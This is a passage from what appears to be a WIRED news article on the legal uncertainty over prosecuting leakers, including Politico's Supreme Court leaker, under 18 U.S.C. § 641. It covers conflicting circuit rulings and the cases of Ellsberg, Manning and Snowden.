"Legal scholarship provides little clarity regarding § 641’s interpretation; only a few scholars have even recognized § 641’s application to information," reads a _Columbia Law Review_ article about the statute's use for prosecuting leakers, written by Jessica Lutkenhaus, an attorney focused on criminal defense at the law firm Wilmer Hale. "The circuits disagree about whether § 641 applies to information, and, if it does, what its scope is: What information constitutes a 'thing of value'?"

Sharing information is arguably fundamentally different from stealing "a thing of value," Freedom of the Press Foundation's Timm points out. "You can't steal a government Jeep or take something tangible or physical from government offices," Timm says. "But copying something can be construed as different from stealing something. You copy it, and the original thing is still there, and you just leave with papers that didn't exist before."

That ambiguity has led different federal courts to come to contradictory conclusions. A Fourth Circuit court, for instance, found in 1991 that a Department of Defense employee who left the DOD for a job at a defense contractor and took information with him was guilty of violating § 641. But a Ninth Circuit court has come to an opposite conclusion, finding in a 1959 case that "intangible" goods are not covered by § 641. That ruling was later applied in 1988 by the same circuit to the case of an information leaker, a naval officer accused of stealing computer punch cards related to secret encryption information. The court confirmed that the information itself was not covered by § 641—though his appeal was thrown out anyway because he'd stolen the physical punch cards that stored it.

Other circuit courts have come to conclusions somewhere in between, with some finding, for instance, that the § 641 _does_ apply to information leaks but noting that this doesn't extend to those covered by the First Amendment's protections on free speech and freedom of the press—findings with direct relevance to Politico's Supreme Court leaker.

Several of the most notable leakers in history have been charged under 18 U.S.C. § 641, too, including Daniel Ellsberg, Chelsea Manning, and Edward Snowden. But the use of that law was overshadowed by their prosecution under the Espionage Act, since all three were accused of leaking classified secrets, and none set a clear precedent. Ellsberg's charges were dropped due to improper government conduct by the Nixon administration, and Snowden has yet to face trial. Manning was convicted on the 18 U.S.C. § 641 count she faced, but in a military court, not a civilian one.

All of that leaves the legal status of Politico's leaker—if they are identified—far from certain. But any confident argument that they committed a crime is on equally shaky terrain, argues Timm. And that's especially true in a case where the leaker appears to have leaked a document directly to the press, with a clear interest in making the information public.

"Even if prosecutors think 18 U.S.C. § 641 applies, I'd have serious First Amendment concerns with broadly applying it to anyone who leaks a government document to the press," Timm says. "Leaks to the press are as American as apple pie. And, in many cases throughout history, have furthered democracy rather than hindered it."

More Great WIRED Stories

*   📩 The latest on tech, science, and more: Get our newsletters!
*   Sober influencers and the end of alcohol
*   For mRNA, Covid vaccines are just the beginning
*   The future of the web is AI-generated marketing copy
*   Keep your home connected with the best wi-fi routers
*   How to limit who can contact you on Instagram
*   👁️ Explore AI like never before with our new database
*   🏃🏽‍♀️ Want the best tools to get healthy? Check out our Gear team’s picks for the best fitness trackers, running gear (including shoes and socks), and best headphones

Tag

#wifi